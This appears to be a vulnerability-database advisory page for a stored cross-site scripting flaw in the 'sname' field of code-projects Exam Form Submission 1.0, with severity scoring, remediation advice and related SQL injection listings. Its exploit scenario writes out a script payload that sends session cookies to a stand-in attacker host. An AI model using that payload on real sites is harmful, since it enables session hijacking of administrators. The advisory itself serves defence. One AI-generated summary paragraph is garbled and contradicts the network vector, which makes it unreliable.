EUVD-2026-14384
GHSA-84wf-m6gv-7jp4
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | The CVSS v3.1 score of 2.4 reflects low severity due to multiple constraints: Network-accessible attack vector (AV:N), low attack complexity (AC:L), but critically HIGH privilege requirement (PR:H) meaning only authenticated administrators can exploit it, plus required user interaction (UI:R) where a victim must visit an attacker-controlled page. This creates a paradox—while the CVSS is exceptionally low, the publicly available POC and active exploitation status elevate practical risk. The EPSS vector indicates 'E:P' (Proof of Concept Exists) and 'RC:R' (Reasonable Confidence), suggesting attackers have working exploit code. However, the real-world threat is constrained: an attacker already possessing high-privilege administrative access has limited incentive to perform XSS when they could directly modify application data. The primary risk scenario involves a compromised or rogue admin account leveraging XSS to frame other administrators or exfiltrate session tokens from other high-privilege users. This is a moderate-priority issue requiring patching but not an emergency given the privilege gate and user-interaction requirement. |
| Exploit ScenarioDerived | An attacker with compromised or rogue administrative credentials navigates to /admin/update_s4.php and injects a payload like sname=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script> into the form field. When the page is saved and another administrator later views the affected record, the injected script executes in their browser session, stealing their session cookies or redirecting them to a phishing page. Because a public POC exists on GitHub (https://github.com/rockycheng1/cve/issues/3), the barrier to exploitation is further lowered for attackers without deep technical knowledge. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 23, 2026
A Stored Cross-Site Scripting (XSS) vulnerability exists in code-projects Exam Form Submission version 1.0 affecting the /admin/update_s4.php endpoint, where the 'sname' parameter is not properly sanitized before output. An authenticated attacker with high privileges can inject malicious JavaScript that executes in the context of other users' browsers, potentially leading to session hijacking, credential theft, or administrative action abuse. A public proof-of-concept exploit is available, increasing real-world risk despite the low CVSS score of 2.4.
RemediationAI
Immediately upgrade to a patched version if the vendor (code-projects) has released one; check https://code-projects.org/ and VulDB references (https://vuldb.com/?id.352414) for the latest version and security advisory. If no patch is available or the application is legacy/unmaintained, apply input validation and output encoding: use prepared statements and parameterized queries for database operations, implement strict HTML entity encoding on all output (e.g., htmlspecialchars() in PHP with ENT_QUOTES flag), and apply a Web Application Firewall (WAF) rule to block script injection payloads in the 'sname' parameter. Additionally, restrict administrative access via IP whitelisting, enforce multi-factor authentication on admin accounts, and conduct a code audit of similar user-input parameters throughout the application (/admin/update_*.php files) for similar XSS flaws.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability is rooted in Improper Neutralization of Input During Web Page Generation (CWE-79: Cross-site Scripting), a fundamental input validation flaw in PHP-based web applications. The Exam Form Submission application (identified via CPE cpe:2.3:a:code-projects:exam_form_submission:*:*:*:*:*:*:*:*) fails to apply proper output encoding or input sanitization on the 'sname' parameter before rendering it in the administrative interface at /admin/update_s4.php. This allows attackers to inject raw HTML/JavaScript payloads that bypass client-side and server-side filtering mechanisms, resulting in reflected or stored XSS depending on data persistence. The vulnerability affects PHP-based form handling logic where user-controlled input flows directly into template rendering without parameterized output contexts.
Know when Exam Form Submission gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
6DescriptionCVE.org
A vulnerability was found in code-projects Exam Form Submission 1.0. The affected element is an unknown function of the file /admin/update_s4.php. Performing a manipulation of the argument sname results in cross site scripting. The attack may be initiated remotely. The exploit has been made public and could be used.
Executive ViewAI
CVE-2026-4577 is a low-severity vulnerability in A vulnerability involving cross-site scripting (CVSS 2.4). The limited severity suggests constrained impact, typically requiring specific conditions or local access for exploitation. Apply vendor updates when available as part of routine maintenance.
Apply vendor patch during routine maintenance. Standard cross-site scripting mitigations apply if patching is delayed.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Related Vulnerabilities in code-projects Exam Form Submission XSS
View all 2More in Exam Form Submission
View allUnrestricted file upload in code-projects Exam Form Submission 1.0 allows remote unauthenticated attackers to upload arb
SQL injection in code-projects Exam Form Submission 1.0 exposes the underlying database through the `credits` parameter
SQL injection in code-projects Exam Form Submission 1.0 exposes the backend database to unauthorized read and write oper
SQL injection in code-projects Exam Form Submission 1.0 exposes the `/admin/delete_s3.php` endpoint to remote manipulati
SQL injection in code-projects Exam Form Submission 1.0 exposes the /admin/delete_s2.php endpoint to remote exploitation
SQL injection in code-projects Exam Form Submission 1.0 exposes the /admin/delete_s1.php endpoint to remote database man
SQL injection in code-projects Exam Form Submission 1.0 allows remote unauthenticated attackers to extract or modify dat
SQL injection in code-projects Exam Form Submission 1.0 allows remote attackers to manipulate the 'credits' parameter in
SQL injection in code-projects Exam Form Submission 1.0 via the 'credits' parameter of /admin/update_s3.php enables remo
SQL injection in code-projects Exam Form Submission 1.0 exposes the application's database to remote manipulation throug
SQL injection in code-projects Exam Form Submission 1.0 allows remote attackers to manipulate the backend database via t
SQL injection in code-projects Exam Form Submission 1.0 exposes the unauthenticated /register.php registration endpoint
Exploit-DB